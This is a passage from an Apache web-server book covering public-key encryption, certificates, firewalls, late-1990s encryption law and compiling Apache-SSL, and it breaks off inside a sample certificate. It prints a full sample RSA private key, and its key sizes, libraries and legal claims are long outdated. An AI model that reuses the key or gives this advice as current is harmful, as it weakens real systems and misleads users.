The way to write a digital signature is to perform some action on data provided by the other party that only you could have performed, thereby proving you are who you say.

The ideas of public key (PK) encryption are pretty well known by now, so we will just skim over the salient points. You have two keys: one (your public key) that encrypts messages and one (your private key) that decrypts messages encrypted with your public key (and vice versa). You give the public key to anyone who asks and keep your private key secret. Because the keys for encryption and decryption are not the same, the system is also called asymmetric key encryption.

For instance, let's apply the technology to a simple matter of the heart. You subscribe to a lonely hearts newsgroup where persons describe their attractions and their willingness to meet persons of similar romantic desires. The person you fancy publishes his or her public key at the bottom of the message describing his or her attractions. You reply:

I am (insert unrecognizably favorable description of self). Meet me behind the bicycle sheds at 00.30. My heart burns .. (etc.)

You encrypt this with your paramour's public key and send it. Whoever sees it on the way, or finds it lying around on the computer at the other end, will not be able to decrypt it and so learn the hour of your happiness. But your one and only can decrypt it, and can, in turn, encrypt a reply:

YES, Yes, a thousand times yes!

using the private key and send it back. If you can decrypt it using the public key, then you can be sure that it is from the right, fascinating person and not a bunch of jokers who are planning to gather round you at the witching hour to make low remarks.

However, anyone who guesses the public key to use could also decrypt the reply, so your true love could encrypt the reply using his or her private key (to prove he or she sent it) and then encrypt it again using your public key to prevent anyone else from reading it. You then decrypt it twice to find that everything is well.

The encryption and decryption modules have a single, crucial property:

  • Although you have the encrypting key number in your hand, you can't deduce the decrypting one. (Well, you can, but only after years of computing.) This is because encryption is done with a large number (the key), and decryption depends on knowing its prime factors, which are very difficult to determine.

The strength of PK encryption is measured by the length of the key, because this influences the length of time needed to calculate the prime factors. The Bad Guys and, oddly, the American government, would like people to use a short key, so that they can break any messages they want. People who do not think this is a good idea want to use a long key so that their messages can't be broken. The only practical limits are that the longer the key, the longer it takes to construct it in the first place, and the longer the sums take each time you use it.

An experiment in breaking a PK key was done in 1994 using 600 volunteers over the Internet. It took eight months' work by 1600 computers to factor a 429-bit number (see PGP: Pretty Good Privacy, by Simson Garfinkel, from O'Reilly & Associates). The time to factor a number roughly doubles for every additional 10 bits, so it would take the same crew a bit less than a million million million years to factor a 1024-bit key.

However, a breakthrough in the mathematics of factoring could change that overnight. Also, proponents of quantum computers say that these (so far conceptual) machines will run so much faster that 1024-bit keys will be breakable in less-than-lifetime runs.

But for the moment, PK looks pretty safe. The PK encryption method achieves several holy grails of the encryption community:

  • It is (as far as we know) effectively unbreakable.

  • It is portable; a user's public key needs to be only 128 bytes long[60] and may well be shorter.

    [60]Some say you should use longer keys to be really safe. No one we know is advocating more than 4096 bits (512 bytes) yet.

  • Anyone can encrypt, but only the holder of the private key can decrypt; or, in reverse, if the private key encrypts and the public key decrypts to make a sensible plaintext, then this proves that the proper person signed the document. The discoverers of public key encryption must have thought it was Christmas when they realized all this.

On the other hand, PK is one of the few encryption methods that can be broken without any traffic. The classical way to decrypt codes is to gather enough messages (which in itself is difficult and may be impossible if the user cunningly sends too few messages) and, from the regularities of the underlying plaintext that show through, work back to the encryption key. With a lot of help on the side, this is how the German Enigma codes were broken during World War II. It is worth noticing that the PK encryption method is breakable without any traffic: you "just" have to calculate the prime factors of the public key. In this it is unique, but as we have seen earlier, it isn't so easy either.

Given these two numbers, the public and private keys, the two modules are interchangeable: as well as working the way round you would expect, you can also take a plaintext message, decrypt it with the decryption module, and encrypt it with the encryption module to get back to plaintext again.

The point of this is that you can now encrypt a message with your private key and send it to anyone who has your public key. The fact that it decodes to readable text proves that it came from you: it is an unforgeable electronic signature.

This interesting fact is obviously useful when it comes to exchanging money over the Web. You open an account with someone like American Express. You want to buy a copy of this excellent book from the publishers, so you send Amex an encrypted message telling them to debit your account and credit O'Reilly's. Amex can safely do this because (providing you have been reasonably sensible and not published your private key) you are the only person who could have sent that message. Electronic commerce is a lot more complicated (naturally!) than this, but in essence this is what happens.

One of the complications is that because PK encryption involves arithmetic with very big numbers, it is very slow. Our lovers above could have encoded their complete messages using PK, but they might have gotten very bored doing it. In real life, messages are encrypted using a fast but old-fashioned system based on a single secret key that both parties know. The technology exists to make this kind of encryption as uncrackable as PK: the only way to attack a good system is to try every possible key in turn, and the key does not have to be very long to make this process take up so much time that it is effectively impossible. For instance, if you tried each possibility for a 128-bit key at the rate of a million a second, it would take 1025 years to find the right one. The traditional drawback to secret key cryptography has always been the difficulty of getting your secret key to the other person without anyone else getting a look at it.

Contemporary secure transaction methods usually involve transmitting a secret key by PK. Since the key is short (say, 128 bits or 16 characters), this does not take long. Then the key is used to encrypt and decrypt the message with a different algorithm, probably International Data Encryption Algorithm (IDEA) or Data Encryption Standard (DES). So, for instance, the Pretty Good Privacy package makes up a key and transmits it using PK, then uses IDEA to encrypt and decrypt the actual message.

13.3.1. Certificates

"No man is an island," John Donne reminds us. We do not practice cryptography on our own; indeed, there would be little point. Even in the simple situation of the spy and his spymaster, it is important to be sure you are actually talking to the correct person. Many intelligence operations depend on capturing the spy and replacing him or her at the radio with one of their own people to feed the enemy with twaddle. This can be annoying and dangerous for the spymaster, so he often teaches his spies little radio tricks that he hopes the captors will overlook and so betray themselves.

In the larger cryptographic world of the Web, the problem is as acute. When we order a pack of cards from www.butterthlies.com, we want to be sure the company accepting our money really is that celebrated card publisher and not some interloper; similarly, Butterthlies, Inc., wants to be sure that we are who we say we are and that we have some sort of credit account that will pay for their splendid offerings. The problems are solved to some extent by the idea of a certificate. A certificate is an electronic document signed (i.e., encrypted using a private key) by some respectable person or company called a certification authority (CA). It contains the holder's public key plus information about him or her: name, email address, company, and so on (see Section 13.6.5, "Make a Test Certificate", later in this chapter). There is no reason why, in the future, it should not contain height, weight, fingerprints, retinal patterns, keyboard style, and whatever other things technology can think up under the rubric of biometrics. You get this document by filling in a certificate request form issued by some CA; after you have crossed their palm with silver and they have applied whatever level of verification they deem appropriate, they send you back the data file.

In the future, the certification authority itself may hold a certificate from some higher-up CA, and so on, back to a CA that is so august and immensely respectable that it can sign its own certificate. (In the absence of a corporeal deity, some human has to do this.) This certificate is known as a root certificate, and a good root certificate is one for which the public key is widely and reliably available.

Currently, pretty much every CA uses a self-signed certificate, and certainly all the public ones do. Until some fairly fundamental work has been done to deal with how and when to trust second-level certificates, there isn't really any alternative. After all, just because you trust Fred to sign a certificate for Bill, does this mean you should trust Bill to sign certificates? Not in our opinion.

You might like to get a certificate from Thawte Consulting (http://www.thawte.com/), as we do later in this chapter. They provide a free beta test certificate you can play with, as well as proper ones at different levels of reliability that cost more or less money. Thawte's certificate automatically installs into your copy of Netscape. Test certificates can also be had from http://www.x509.com/.

When you do business with someone else on the Web, you exchange certificates, which are encrypted into your messages so that they cannot be stolen in transit. Secure transactions, therefore, require the parties to be able to verify the certificates of each other. In order to verify a certificate you need to have the public key of the authority that issued it. If you are presented with a certificate from an unknown authority when Apache-SSL has been told to insist on known CAs, it refuses access. But generally you will keep a stock of the published public keys of the leading CAs in a directory ready for use, and you should make it plain in your publicity which CAs you accept.

When the whole certificate structure is in place, there will be a chain of certificates leading back through bigger organizations to a few root certificate authorities, who are likely to be so big and impressive, like the telephone companies or the banks, that no one doubts their provenance.

The question of chains of certificates is the first stage in the formalization of our ideas of business and personal financial trust. Since the establishment of banks in the 1300s, we have gotten used to the idea that if we walk into a bank, it is safe to give our hard-earned money to the complete stranger sitting behind the till. However, on the Internet, the reassurance of the expensive building and its impressive staff will be missing. It will be replaced in part by certificate chains. But just because a person has a certificate does not mean you should trust him or her unreservedly. LocalBank may well have a certificate from CitiBank, and CitiBank from the Fed, and the Fed from whichever deity is in the CA business. LocalBank may have given their janitor a certificate, but all this means is that he probably is the janitor he says he is. You would not want to give him automatic authority to debit your account with cleaning charges.

You certainly would not trust someone who had no certificate, but what you would trust them to do would depend on policy statements issued by his or her employers and fiduciary superiors, modified by your own policies, which most people have not had to think very much about. The whole subject is extremely extensive and will probably bore us to distraction before it all settles down.

Previous | Home | Next
13.2. Apache's Security Precautions | Book Index | 13.4. Firewalls
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Firewalls (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

13.4. Firewalls

It is well known that the Web is populated by mean and unscrupulous people who want to mess up your site. Many conservative citizens think that a firewall is the way to stop them. The purpose of a firewall is to prevent the Internet from connecting to arbitrary machines or services on your own LAN/WAN. Another purpose, depending on your environment, may be to stop users on your LAN from roaming freely around the Internet.

The term firewall does not mean anything standard. There are lots of ways to achieve the objectives just stated. Two extremes are presented in this section, and there are lots of possibilities in between. This is a big subject: here we are only trying to alert the webmaster to the problems that exist and to sketch some of the ways to solve them. For more information on this subject, see Building Internet Firewalls, by D. Brent Chapman and Elizabeth D. Zwicky (O'Reilly & Associates).

13.4.1. Packet Filtering

This technique is the simplest firewall. In essence, you restrict packets that come in from the Internet to safe ports. Packet-filter firewalls are usually implemented using the filtering built into your Internet router. This means that no access is given to ports below 1024 except for certain specified ones connecting to safe services, such as SMTP, NNTP, DNS, FTP, and HTTP. The benefit is that access is denied to potentially dangerous services, such as the following:

finger

Gives a list of logged-in users, and in the process tells the Bad Guys half of what they need to log in themselves.

exec

Allows the Bad Guy to run programs remotely.

TFTP

An almost completely security-free file-transfer protocol.

The possibilities are horrendous!

The advantages of packet filtering are that it's quick and easy. But there are at least two disadvantages:

  • Even the standard services can have bugs allowing access. Once a single machine is breached, the whole of your network is wide open. The horribly complex program sendmail is a fine example of a service that has, over the years, aided many a cracker.

  • Someone on the inside, cooperating with someone on the outside, can easily breach the firewall.

13.4.2. Separate Networks

A more extreme firewall implementation involves using separate networks. In essence, you have two packet filters and three separate, physical, networks: Inside, Inbetween, and Outside (see Figure 13-1). There is a packet-filter firewall between Inside and Inbetween, and between Outside and the Internet. A nonrouting host,[61] known as a bastion host, is situated on Inbetween and Outside. This host mediates all interaction between Inside and the Internet. Inside can only talk to Inbetween, and the Internet can only talk to Outside.

[61]Nonrouting means that it won't forward packets between its two networks. That is, it doesn't act as a router.

Figure 13-1. Bastion host configuration

13.4.2.1. Advantages

Administrators of the bastion host have more or less complete control, not only over network traffic but also over how it is handled. They can decide which packets are permitted (with the packet filter) and also, for those that are permitted, what software on the bastion host can receive them. Also, since many administrators of corporate sites do not trust their users further than they can throw them, they treat Inside as if it were just as dangerous as Outside.

13.4.2.2. Disadvantages

Separate networks take a lot of work to configure and administer, although an increasing number of firewall products are available that may ease the labor. The problem is to bridge the various pieces of software to cause it to work somehow via an intermediate machine, in this case the bastion host. It is difficult to be more specific without going into unwieldy detail, but HTTP, for instance, can be bridged by running an HTTP proxy and configuring the browser appropriately, as we saw in Chapter 9, "Proxy Server". These days, most software can be made to work by appropriate configuration in conjunction with a proxy running on the bastion host, or else it works transparently. For example, Simple Mail Transfer Protocol (SMTP) is already designed to hop from host to host, so it is able to traverse firewalls without modification. Very occasionally, you may find some Internet software impossible to bridge if it uses a proprietary protocol and you do not have access to the client's source code.

SMTP works by looking for Mail Exchange (MX) records in the DNS corresponding to the destination. So, for example, if you send mail to our son and brother Adam[62] at adam@aldigital.algroup.co.uk, an address that is protected by a firewall, the DNS entry looks like this:

[62]That is, he's the son of one of us and the brother of the other.

# dig MX aldigital.algroup.co.uk
; <<>> DiG 2.0 <<>> MX aldigital.algroup.co.uk
;; ->>HEADER<<- opcode: QUERY , status: NOERROR, id: 6
;; flags: qr aa rd ra ; Ques: 1, Ans: 2, Auth: 0, Addit: 2
;; QUESTIONS:
;;       aldigital.algroup.co.uk, type = MX, class = IN
;; ANSWERS:
aldigital.algroup.co.uk.        86400   MX      5 knievel.algroup.co.uk.
aldigital.algroup.co.uk.        86400   MX      7 arachnet.algroup.co.uk.

;; ADDITIONAL RECORDS:
knievel.algroup.co.uk.  86400   A       192.168.254.3
arachnet.algroup.co.uk. 86400   A       194.128.162.1

;; Sent 1 pkts, answer found in time: 0 msec
;; FROM: arachnet.algroup.co.uk to SERVER: default -- 0.0.0.0
;; WHEN: Wed Sep 18 18:21:34 1996 	;; MSG SIZE  sent: 41  rcvd: 135

What does all this mean? The MX records have destinations (knievel and arachnet) and priorities (5 and 7). This means "try knievel first; if that fails, try arachnet." For anyone outside the firewall, knievel always fails, because it is behind the firewall[63] (on Inside and Inbetween), so mail is sent to arachnet, which does the same thing (in fact, because knievel is one of the hosts mentioned, it tries it first, then gives up). But it is able to send to knievel, because knievel is on Inbetween. Thus, Adam's mail gets delivered. This mechanism was designed to deal with hosts that are temporarily down or multiple mail delivery routes, but it adapts easily to firewall traversal.

[63]We know this because one of the authors (BL) is the firewall administrator for this particular system, but, even if we didn't, we'd have a big clue because the network address for knievel is on the network 192.168.254, which is a "throwaway" (RFC 1918) net and thus not permitted to connect to the Internet.

This affects the Apache user in three ways:

  • Apache may be used as a proxy so that internal users can get onto the Web.

  • The firewall may have to be configured to allow Apache to be accessed. This might involve permitting access to port 80, the standard HTTP port.

  • Where Apache can run may be limited, since it has to be on Outside.

Previous | Home | Next
13.3. Binary Signatures, Virtual Cash | Book Index | 13.5. Legal Issues
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Legal Issues (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

13.5. Legal Issues

We discussed the general principles of computer security earlier. Here we will look at how secure communication is built into Apache. But before we do that, we have to look at the legal problems, which are somewhat trickier than the technical ones. This is perhaps not surprising, when one thinks about the social power that effective encryption gives the user.

Obviously, browser and server have to be thinking along the same lines if they are going to collaborate on tricky enterprises like PK encryption and decryption. In this case it is Netscape who calls the tune, with their Secure Sockets Layer (SSL) protocol, which uses the PK algorithm.[64]

[64]There is a rival scheme called Secure Hypertext Transfer Protocol (SHTTP) that is not widely used. If it is ever adopted by the Internet Engineering Task Force (IETF), who decide what is and isn't an Internet protocol, SSL will be called Transport Layer Security (TLS).

There are two areas of legal concern in making use of PK: patent rights and national security.

13.5.1. Patent Rights

The patent position is this:

The Massachusetts Institute of Technology and the Board of Trustrees of the Leland Stanford Junior University have granted Public Key Partners (PKP) exclusive sublicensing rights to the following patents issued in the United States, and all of their corresponding foreign patents: Cryptographic Apparatus and Method ("Diffie-Hellman") No. 4,200,770 Public Key Cryptographic Apparatus and Method ("Hellman-Merkle") No. 4.318,582 Cryptographic Communications System and Method ("RSA") No. 4.405,829 Exponential Cryptographic Apparatus and Method ("Hellman-Pohlig") No. 4,424,414. These patents are stated by PKP to cover all known methods of practicing the art of Public Key encryption, including the variations collectively known as El Gamal. Public Key Partners has provided written assurance to the Internet Society that parties will be able to obtain, under reasonable, nondiscriminatory terms, the right to use the technology covered by these patents.[65]

[65]SSL Protocol Netscape Corporation.

First, there is a divergence between the United States and the rest of the world in the matter of patenting computer programs. The rest of the world follows the old maxim that you cannot patent an idea or a form of words, but you have to patent an actual device. A computer program is not a device, so you cannot patent it. The United States, on the other hand, adopts what looks like a convenient fiction to everyone else and says that a computer running a particular program is different from the same computer running another program because the patterns of 0s and 1s in its memory and CPU registers are different. A program is therefore a patentable device.

However, the RSA algorithm was explained in print before the patent was applied for. In most countries, that would be an absolute bar to the granting of a patent, but the United States has another difference in its patent law: patents are granted to the first to invent. In the ordinary course of affairs, you invent something before you describe it in print, so prior disclosure is not as much of a problem in the United States as it is elsewhere, but the RSA patent may yet be overturned.

For the moment, however, the patent seems to be good and normal, and patent law applies to the RSA algorithm as it does to any other patented device: you may not use a patented program for commercial purposes in the United States without a license from the patentee. This also applies to programs brought into the United States from abroad that use the basic algorithms. So, the doughty Australian, Eric Young, who wrote the Secure Sockets Layer libraries from basic number theory, finds to his annoyance that his code is subject to U.S. law and complains that in the United States people who use his code have to pay a license fee to "people he and they have never met."

But this is no different from any other patent. If, in the privacy of your Australian kitchen, you make a copy of an eyebrow tweezer patented in the United States and give it to someone who uses it commercially in their hairdressing salon in California, the owner of the patent can legally demand a fee, even though neither of you have met him and the tweezers were made in patent-free Australia. This is how patents work.

Patents have to be applied for and granted country by country. The fact that a device is patented in the United States gives it no automatic protection in Thailand. And, in fact, no other country in the world recognizes software patents, so the commercial license fee is only payable in the United States.

U.S. licenses for the public key algorithms used in Apache are to be had from PKP on payment of a negotiable fee.

13.5.2. National Security

The patent issue is relatively straightforward; that of security is byzantine. The problem is that unbreakable encryption is a matter of extreme national military importance. It might conceivably be argued that Germany's reliance on vulnerable encryption lost her World War II; it certainly cost her enormous losses in lives and matériel.

As a result, public-key encryption technology, which is unbreakable provided the key is big enough, is regarded by certain countries, including the United States, as a munition of war on a par with the design of an H-bomb warhead, and it may not be exported outside the United States or Canada (which is regarded as the same defense zone).

In view of the fact that you can go to any good library, as Eric Young did, read the algorithms, and write your own code, this is rather a silly stance to take. But it is the stance that the U.S. government takes, and they compound the problem[66] by saying that PK encryption using short keys (40 bits) is all right, but using longer keys is not.[67] The difference is simply setting a variable in the source code.

[66]The U.S. Department of Defense has gotten itself into a similar tangle over the Global Positioning System (GPS). Originally designed as a military device to give positions accurate to a meter or so, it is degraded for public use so that the accuracy is something like 20 meters in order that the United States' enemies should not profit by it. But during the Gulf War, when many U.S. field units brought their own civilian GPS sets to supplement the meager military supply, the degradation in the civilian channels was switched off so that all users, enemy as well as friendly, had full military precision. Once the war was over, the degradation was switched on again!

[67]Actually, it is more complex than this. The actual encryption used is 128-bit symmetric encryption, using a random key that is exchanged using PK encryption. For export, only 40 bits of the 128 bits are sent encrypted. The other 88 bits are in the clear. But enough of the technical details -- the essence is that the encryption is weak enough to be broken without spending too much.

One of the authors (BL) of this book has a T-shirt on which is printed a PK algorithm. You would think that if he boards an intercontinental aircraft in the United States wearing this shirt, he commits a very serious federal offense. But it seems, to put an even more bizarre twist to the story, that it is not illegal to export listings of encryption programs.[68] Presumably, the enemies of freedom cannot read.

[68]Actually, the T-shirt anticipates this and includes a computer-readable version (in the form of a barcode), especially to make the T-shirt unexportable. On the other side of the coin, Bruce Schneier's excellent Applied Cryptography, which includes source code for virtually every crypto algorithm known to man, is freely exportable (at least, as long as you take the floppy out first).

As far as U.S. law is concerned, the world divides into three geographical areas:

  • The United States

  • Canada

  • The rest of the world

In the United States, people can use full-strength PK algorithms but must pay a license fee to PKP. And you can import and use illegal encryption software from abroad, without fear of trouble from the Defense Department; however, you should pay patent license fees to PKP, so there is not much point.

In Canada, you can use the full-strength encryption exported from the United States, and you don't have to pay a license fee because Canada does not recognize patents on software.

In the rest of the world, you can use feeble encryption exported from the United States or full-strength encryption brewed locally. If you can't get it locally, there are plenty of people in Moscow and other places who will give you the full-strength U.S. product.

Britain used to follow the U.S. ban on exports of munitions of war, but now the following two instruments apply. (We think! The U.K. government is no more interested in making it easy to figure out what is going on than the U.S. government, it seems.)

  • The Export of Goods (Control) Order, which is United Kingdom legislation

  • Dual-Use and Related Good (Export Control) Regulations, which are European Community law

These laws are rather more lenient than U.S. law, and, in particular, Apache-SSL is probably exempt as an over-the-counter product. Anyone who wants to get into this business should seek legal advice, since the British government is no fonder than any other of explaining in clear and simple terms what the law actually means in practice. However, it also is very shy of making a fool of itself in court, so the situation does not seem to be draconian, though it is more worrying than it was. At the time of this writing (summer 1998), the new Labor government had been in power about a year. The manifesto that led to their election had made anodyne noises about encryption, but as time went on, it appeared that the American government was making strenuous efforts to get Britain and the European Community to adhere to its unsatisfactory policies. The situation may have been complicated by British prime minister Blair's need to get President Clinton's active help in reducing U.S. support to the IRA in order to try to resolve the Irish war. In the process he may have been obliged to give unpublished undertakings on other issues -- which may have included encryption.

The proposal being touted comes from Royal Holloway College, which is part of London University, and the European Commission Council DGIII, and would establish a distributed, secure key escrow system. It would be illegal to use a key that was not held in escrow. There are at least two problems with this policy:

  • One corrupt official within the escrow system could throw every "secure" site open to the underworld.

  • It would not bother criminals at all.

It is rather as though a new kind of unbreakable door lock had been invented. The government, afraid that behind these new doors, citizens are going to do unspeakable things, orders that every owner of the new lock has to deposit a copy of the key at the police station. The criminals do not bother, and their friends the corrupt policemen give them all the honest peoples' keys.

The difficulty with trying to criminalize the use of encrypted files is that they cannot be positively identified. An encrypted message may be hidden in an obvious nonsense file, but it may also be hidden (by steganography) in unimportant bits in a picture or a piece of music or something like that. Conversely, a nonsense file may be an encrypted message, but it may also be a corrupt ordinary file or a proprietary data file whose format is not published. There seems to be no reliable way of distinguishing between the possibilities except by producing a decode. And the only person who can do that is the "criminal," who is not likely to put himself in jeopardy.

France, as always very practical in matters of national security, bans PK encryption without a license from the government, and the government does not issue licenses. Use of the technology in France, let alone its export, is a crime. We would be interested to hear reliable accounts of the position in other countries for inclusion in later editions of this book.

Previous | Home | Next
13.4. Firewalls | Book Index | 13.6. Secure Sockets Layer: How to Do It
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Secure Sockets Layer: How to Do It (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

13.6. Secure Sockets Layer: How to Do It

The object of what follows is to make a version of Apache that handles the HTTPS (HTTP over SSL) protocol. Currently this is only available in Unix versions, and given the many concerns that exist over the security of Win32, there seems little point in trying to implement SSL in the Win32 version of Apache.

The first step is to get hold of the appropriate version of Apache; see Chapter 1, "Getting Started", and the Apache-SSL home page at http://www.apache-ssl.org/ for current information. Download the source code, or copy it from the demonstration CD-ROM, and expand the files in some suitable directory. An src subdirectory will appear. So far, so good.

The next, and easiest step of all, is to decide whether you are in the United States and Canada or the rest of the world. Then follow these guidelines:

In the United States and Canada

You have two choices. You can get a commercial SSL-enabled web server, or you can do what the rest of the world does (see below), noting only that you need to get a license to use RSA's patents if you want to make money out of your SSL-enabled Apache (see www.rsa.com).

In the rest of the world

If your deliberations lead you to believe that you live in the rest of the world, proceed as described in the following sections.

13.6.1. Get SSLeay

The first thing to do is to get SSLeay. SSLeay is a a freely available library, written by the Australian Eric Young, which does pretty much everything cryptological that the most secretive heart could desire. We went to ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/ (which seems to belong to the psychology department of the University of Queensland, Australia, and why should we quibble?), downloaded SSLeay-0_9_0b_tar.gz since it looked the freshest, and put it into /usr/local/etc/SSL. We uncompressed it with:

% gzip -d SSLeay-0_9_0b_tar.gz
% tar xvf SSLeay-0_9_0b_tar

producing a surprising amount of stuff in a subdirectory SSLeay-0.9.0b. Go there. First, read INSTALL, which describes a configuration process not unlike that for Apache, but somewhat rougher. Things will go more smoothly if you have already liberated Perl and it is in /usr/local/bin. The script will put SSL in /usr/local/bin; if you don't like this, you can change its home. You are told to run ./Configure system type but, slightly alarmingly, INSTALL doesn't tell you what the possible system types are. However, we remember that if anything goes wrong, we can just go back to the top directory, run tar again to start over, and boldly type:

% ./Configure

A list of systems appears, among which is FreeBSD and, we hope, yours. We ran ./Configure again:

% ./Configure FreeBSD

This sets up a number of system variables and reports them to the screen. As long as there is not an obvious error, we don't really care what it says. INSTALL then tells us to tidy up the place, make SSL, make the test certificate, and test the result by using these four commands:

% make clean
% make
% make rehash
% make test

Again, a lot of prattle outputs to the screen that is probably really interesting if you are Eric Young, and less fascinating otherwise. The output ends with a printout of your signed certificate, newcert.pem.

And then we perform the final step recommended in INSTALL :

% make install

It turned out that ssleay hadn't been installed in /usr/local/bin as promised, but was in /usr/local/ssl/bin. This may have been fixed by the time you do all this, but if not, add the new directory to your path. Just how you do this depends on the shell you are running, so we won't confuse you with advice that may be inappropriate. See your administrator in case of difficulty.

13.6.2. Get the Apache-SSL Patch

It is important that if you have already made Apache you should delete the whole directory with:

% rm -R apache directory

Reexpand the original Apache .tar file to create a complete directory (see Section 1.8, "Making Apache Under Unix", in Chapter 1, "Getting Started" ) and download the Apache-SSL patch file from Oxford University: ftp://ftp.ox.ac.uk/pub/crypto/SSL/ or one of the mirror sites. It is important that the file you download is as new as you can get and matches the Apache version you have just expanded. The reason you should reexpand Apache is that Apache-SSL has to patch the source of Apache, so it must be "as-new."[69] In our case we got apache_1_3_1+ssl_1_22_tar.gz, copied it into the ... /apache/apache_1.3.1 subdirectory (not the .../src subdirectory, as in the previous edition), and expanded it with:

[69]To answer a FAQ: No, Apache-SSL cannot be a pure module; the Apache API is not powerful enough to permit that.

% gzip -d apache_1_3_1+ssl_1_22_tar.gz
% tar xvf apache_1_3_1+ssl_1_22_tar

You find a number of *.SSL files. The immediately interesting one is README.SSL, written by one of the authors of this book (BL), which you should, of course, read.

13.6.3. Make the Patch

The next step is to do as instructed in README.SSL :

% ./FixPatch

You will be asked if you want the patch applied, to which you reply y. A good deal of chat ensues on the screen, but as long as it does not stop with an error, all is well.[70]

[70]Note that some operating systems (notably Solaris) come with an exceedingly out-of-date version of patch, which doesn't work properly with Apache-SSL's patch files. The current version of patch at the time of writing is 2.5.

patch is a Unix utility. If you get the message:

Looks like a new style context diff
File to patch:

and not much else, you may have an out-of-date version of patch. You can get the version number by typing:

% patch -version

If you have a version earlier than 2.1, you need to upgrade. If you have 2.5 and you still have problems, you may find that:

% patch -pl < SSLpatch

will work.

A useful site, which has FAQs about Apache-SSL, is www.apache-ssl.org.

13.6.4. Rebuild Apache

You then have to rebuild Apache. Since you have replaced all the files, including the original Configuration, you may want to copy the version you saved in the top directory (see Section 1.8.4, "Configuration Settings and Rules", in Chapter 1, "Getting Started") back down. Check that this line in this file has been correctly altered:

SSL_BASE=<current location of SSL>

This should be the directory where SSLeay has unpacked itself -- in our case /usr/local/etc/SSL/SSLeay-0.9.0b.

Run ./Configure to remake the Makefile, and then make to compile the code. The end result, if all has gone well, is an executable: httpsd. Copy it into /usr/local/bin next to httpd.

13.6.5. Make a Test Certificate

We now need a test certificate. .../apache_1.3.1/src/Makefile has the necessary commands in the section headed "certificate":

certificate:
    $(SSL_APP_DIR)/ssleay req -config ../SSLconf/conf/ssleay.cnf \
    -new -x509 -nodes -out ../SSLconf/conf/httpsd.pem \
    -keyout ../SSLconf/conf/httpsd.pem; \
    ln -sf ../SSLconf/conf/httpsd.pem ../SSLconf/conf/`$(SSL_APP_DIR)/ssleay \
    x509 -noout -hash < ../SSLconf/conf/httpsd.pem`.0

Now type:

% make certificate

A number of questions appear about who and where you are:

/usr/local/etc/SSL/SSLeay-0.9.0b/apps/ssleay req -config ../SSLconf/conf/
    ssleay.cnf  -new -x509 -nodes -out ../SSLconf/conf/httpsd.pem  -keyout ../
SSLconf/conf/httpsd.pem;  ln -sf ../SSLconf/conf/httpsd.pem ../SSLconf/conf/
    `/usr/local/etc/SSL/SSLeay-0.9.0b/apps/ssleay  x509 -noout -hash < ../SSLconf/conf/httpsd.pem`.0
Generating a 1024  bit RSA private key
...........+++++
...........+++++
writing new private key to '../SSLconf/conf/httpsd.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank.
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [GB]:US
State or Province Name (full name) [Some-State]:Nevada
Locality Name (eg, city) []:Hopeful City
Organization Name (eg, company; recommended) []:Butterthlies Inc
Organizational Unit Name (eg, section) []:Sales
Common Name (eg, ssl.domain.tld; required!!!) []:www.butterthlies.com
Email Address []:sales@butterthlies.com

Your inputs are shown in bold type in the usual way. The only one that really matters is "Common Name," which must be the fully qualified domain name (FQDN) of your server. This has to be correct because your client's Netscapes (and presumably other security-conscious browsers) will check to see that this address is the same as that being accessed. The result is the file ... /conf/httpsd.pem (yours should not be identical to this, of course):

-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDBpDjpJQxvcPRdhNOflTOCyQp1Dhg0kBruGAHiwxYYHdlM/z6k
pi8EJFvvkoYdesTVzM+6iABQbk9fzvnG5apxy8aB+byoKZ575ce2Rg43i3KNTXY+
RXUzy/5HIiL0JtX/oCESGKt5W/xd8G/xoKR5Qe0P+1hgjASF2p97NUhtOQIDAQAB
AoGALIh4DiZXFcoEaP2DLdBCaHGT1hfHuU7q4pbi2CPFkQZMU0jgPz140psKCa7I
6T6yxfi0TVG5wMWdu4r+Jp/q8ppQ94MUB5oOKSb/Kv2vsZ+T0ZCBnpzt1eia9ypX
ELTZhngFGkuq7mHNGlMyviIcq6Qct+gxd9omPsd53W0th4ECQQDmyHpqrrtaVlw8
aGXbTzlXp14Bq5RG9Ro1eibhXId3sHkIKFKDAUEjzkMGzUm7Y7DLbCOD/hdFV6V+
pjwCvNgDAkEA1szPPD4eB/tuqCTZ+2nxcR6YqpUkT9FPBAV9Gwe7Svbct0yu/nny
bpv2fcurWJGI23UIpWScyBEBR/z34El3EwJBALdw8YVtIHT9IlHN9fCt93mKCrov
JSyF1PBfCRqnTvK/bmUij/ub+qg4YqS8dvghlL0NVumrBdpTgbO69QaEDvsCQDVe
P6MNH/MFwnGeblZr9SQQ4QeI9LOsIoCySGod2qf+e8pDEDuD2vsmXvDUWKcxyZoV
Eufc/qMqrnHPZVrhhecCQCsP6nb5Aku2dbhX+TdYQZZDoRE2mkykjWdK+B22C2/4
C5VTb4CUF7d6ukDVMT2d0/SiAVHBEI2dR8Vw0G7hJPY=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIICvTCCAiYCAQAwDQYJKoZIhvcNAQEEBQAwgaYxCzAJBgNVBAYTAlVTMQ8wDQYD
VQQIEwZOZXZhZGExFTATBgNVBAcTDEhvcGVmdWwgQ2l0eTEZMBcGA1UEChMQQnV0
dGVydGhsaWVzIEluYzEOMAwGA1UECxMFU2FsZXMxHTAbBgNVBAMTFHd3dy5idXR0
ZXJ0aGxpZXMuY29tMSUwIwYJKoZIhvcNAQkBFhZzYWxlc0BidXR0ZXJ0aGxpZXMu
Y29tMB4XDTk4MDgyNjExNDUwNFoXDTk4MDkyNTExNDUwNFowgaYxCzAJBgNVBAYT
AlVTMQ8wDQYDVQQIEwZOZXZhZGExFTATBgNVBAcTDEhvcGVmdWwgQ2l0eTEZMBcG
A1UEChMQQnV0dGVydGhsaWVzIEluYzEOMAwGA1UECxMFU2FsZXMxHTAbBgNVBAMT
